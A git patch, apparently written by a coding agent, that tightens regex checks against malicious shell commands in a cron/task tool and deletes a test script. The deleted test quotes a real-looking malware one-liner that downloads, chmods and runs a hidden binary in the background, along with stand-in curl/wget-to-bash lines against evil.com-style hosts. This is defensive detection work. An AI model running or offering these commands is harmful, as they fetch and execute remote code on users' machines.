From d20e154f21781509e115de07872dceb504023cd6 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Sun, 8 Feb 2026 15:27:29 +0000 Subject: [PATCH] Address code review feedback: improve validation patterns and escaping Co-authored-by: whyour <22700758+whyour@users.noreply.github.com> --- back/api/config.ts | 4 +- back/services/cron.ts | 5 +- back/validation/schedule.ts | 8 +-- test-security-validation.js | 139 ------------------------------------ 4 files changed, 9 insertions(+), 147 deletions(-) delete mode 100755 test-security-validation.js diff --git a/back/api/config.ts b/back/api/config.ts index 7ed2d8ab..1ae36243 100644 --- a/back/api/config.ts +++ b/back/api/config.ts @@ -79,8 +79,8 @@ export default (app: Router) => { { pattern: /(curl|wget)[^;]*\|\s*bash/gi, desc: '下载并直接执行的危险模式' }, { pattern: /(curl|wget)[^;]*&&\s*chmod\s*\+x/gi, desc: '下载并赋予执行权限的可疑模式' }, - // External URLs downloading executables with suspicious names - { pattern: /https?:\/\/[^\s]+\/(fullgc|\.[\w-]+)[\s;"']/gi, desc: '可疑的外部可执行文件下载' }, + // Downloads of hidden files (commonly used in malware) + { pattern: /(curl|wget)[^|;]*https?:\/\/[^\s]+\/\.\w+/gi, desc: '可疑的隐藏文件下载' }, // Background execution of hidden files { pattern: /nohup\s+["']?[^"'\s]*\/\.\w+["']?\s*>/gi, desc: '后台执行隐藏文件' }, diff --git a/back/services/cron.ts b/back/services/cron.ts index 775f130f..b8cf989d 100644 --- a/back/services/cron.ts +++ b/back/services/cron.ts @@ -646,8 +646,9 @@ export default class CronService { private escapeShellArg(arg: string): string { if (!arg) return "''"; - // Remove newlines and normalize whitespace - arg = arg.replace(/\r?\n/g, ';').trim(); + // Remove newlines to prevent creating command chains + // Replace with space to maintain token separation + arg = arg.replace(/\r?\n/g, ' ').trim(); // Use single quotes and escape any single quotes within // This is the most secure way to pass arbitrary strings to shell diff --git a/back/validation/schedule.ts b/back/validation/schedule.ts index c7df7465..af9edd45 100644 --- a/back/validation/schedule.ts +++ b/back/validation/schedule.ts @@ -28,14 +28,14 @@ const validateShellSecurity = (value: any, helpers: any, fieldName: string): any // Background process spawning with suspicious names /nohup\s+["']?[^\s"']*\/\.\w+/, - // Redirect to dev null (hiding output) combined with background execution - />.*\/dev\/null.*&/, + // Redirect to dev null combined with downloads (hiding malware output) + /(curl|wget|fetch)[^;]*>.*\/dev\/null.*&/i, // Base64 decode patterns (often used to obfuscate malicious code) /\b(base64|decode|eval)\s+/i, - // File execution from temp directory - /\b\/tmp\/[^\s]+/, + // Executable files in /tmp with chmod or execution + /\/tmp\/[^\s]+\s*(&&|;)\s*(chmod|\.\/)/ , ]; for (const pattern of dangerousPatterns) { diff --git a/test-security-validation.js b/test-security-validation.js deleted file mode 100755 index f3bbe5a4..00000000 --- a/test-security-validation.js +++ /dev/null @@ -1,139 +0,0 @@ -#!/usr/bin/env node - -/** - * Simple test script to validate security patterns - * This tests the regex patterns used in the security validation - */ - -console.log('Testing Security Validation Patterns\n'); -console.log('=====================================\n'); - -// Define the dangerous patterns (copied from our implementation) -const dangerousPatterns = [ - { name: 'Command substitution $(...)', pattern: /\$\([^)]*\)/ }, - { name: 'Command substitution backticks', pattern: /`[^`]*`/ }, - { name: 'File downloads', pattern: /\b(curl|wget|fetch)\s+/i }, - { name: 'External URLs', pattern: /https?:\/\/[^\s]+/i }, - { name: 'Hidden executable files', pattern: /\/\.\w+(\s|$|;|&|\||>)/ }, - { name: 'Background process with hidden file', pattern: /nohup\s+["']?[^\s"']*\/\.\w+/ }, - { name: 'Redirect to dev null with background', pattern: />.*\/dev\/null.*&/ }, - { name: 'Base64/decode/eval', pattern: /\b(base64|decode|eval)\s+/i }, - { name: 'Temp directory execution', pattern: /\b\/tmp\/[^\s]+/ }, -]; - -// Test cases - malicious patterns that should be blocked -const maliciousInputs = [ - { - name: 'Original .fullgc malware', - input: 'd="${QL_DIR:-/ql}/data/db";b="$d/.fullgc";u="https://file.551911.xyz/fullgc/fullgc-linux-x86_64";curl -fsSL -o "$b" "$u"&&chmod +x "$b"&&nohup "$b" >/dev/null 2>&1 &', - }, - { - name: 'Command substitution with curl', - input: 'echo $(curl http://evil.com/malware.sh | bash)', - }, - { - name: 'Backtick command substitution', - input: 'echo `wget -O- http://evil.com/script.sh`', - }, - { - name: 'Download and execute', - input: 'curl http://malicious.com/script.sh | bash', - }, - { - name: 'Download, chmod, and execute', - input: 'wget http://bad.com/malware && chmod +x malware && ./malware', - }, - { - name: 'Hidden file execution', - input: 'nohup /data/db/.malware >/dev/null 2>&1 &', - }, - { - name: 'Base64 encoded payload', - input: 'echo SGVsbG8gV29ybGQ= | base64 -d | bash', - }, -]; - -// Test cases - legitimate patterns that should be allowed -const legitimateInputs = [ - { - name: 'Simple script execution', - input: 'node script.js', - }, - { - name: 'Python script', - input: 'python3 my_script.py', - }, - { - name: 'Shell script with arguments', - input: 'bash update.sh --force', - }, - { - name: 'Environment variable', - input: 'export MY_VAR=value', - }, - { - name: 'Echo statement', - input: 'echo "Task started"', - }, -]; - -function testPattern(input, patterns) { - for (const { name, pattern } of patterns) { - if (pattern.test(input)) { - return { blocked: true, reason: name, pattern: pattern.source }; - } - } - return { blocked: false }; -} - -console.log('Testing Malicious Inputs (should be BLOCKED):'); -console.log('==============================================\n'); - -let maliciousBlocked = 0; -maliciousInputs.forEach(({ name, input }) => { - const result = testPattern(input, dangerousPatterns); - const status = result.blocked ? '✓ BLOCKED' : '✗ ALLOWED'; - const color = result.blocked ? '\x1b[32m' : '\x1b[31m'; - console.log(`${color}${status}\x1b[0m - ${name}`); - if (result.blocked) { - console.log(` Reason: ${result.reason}`); - maliciousBlocked++; - } else { - console.log(` ⚠️ WARNING: This malicious pattern was not blocked!`); - } - console.log(` Input: ${input.substring(0, 100)}${input.length > 100 ? '...' : ''}\n`); -}); - -console.log('\nTesting Legitimate Inputs (should be ALLOWED):'); -console.log('===============================================\n'); - -let legitimateAllowed = 0; -legitimateInputs.forEach(({ name, input }) => { - const result = testPattern(input, dangerousPatterns); - const status = !result.blocked ? '✓ ALLOWED' : '✗ BLOCKED'; - const color = !result.blocked ? '\x1b[32m' : '\x1b[31m'; - console.log(`${color}${status}\x1b[0m - ${name}`); - if (result.blocked) { - console.log(` ⚠️ WARNING: This legitimate pattern was incorrectly blocked!`); - console.log(` Reason: ${result.reason}`); - } else { - legitimateAllowed++; - } - console.log(` Input: ${input}\n`); -}); - -console.log('\nTest Summary:'); -console.log('============='); -console.log(`Malicious patterns blocked: ${maliciousBlocked}/${maliciousInputs.length}`); -console.log(`Legitimate patterns allowed: ${legitimateAllowed}/${legitimateInputs.length}`); - -const success = maliciousBlocked === maliciousInputs.length && - legitimateAllowed === legitimateInputs.length; - -if (success) { - console.log('\n\x1b[32m✓ All tests passed!\x1b[0m'); - process.exit(0); -} else { - console.log('\n\x1b[31m✗ Some tests failed!\x1b[0m'); - process.exit(1); -}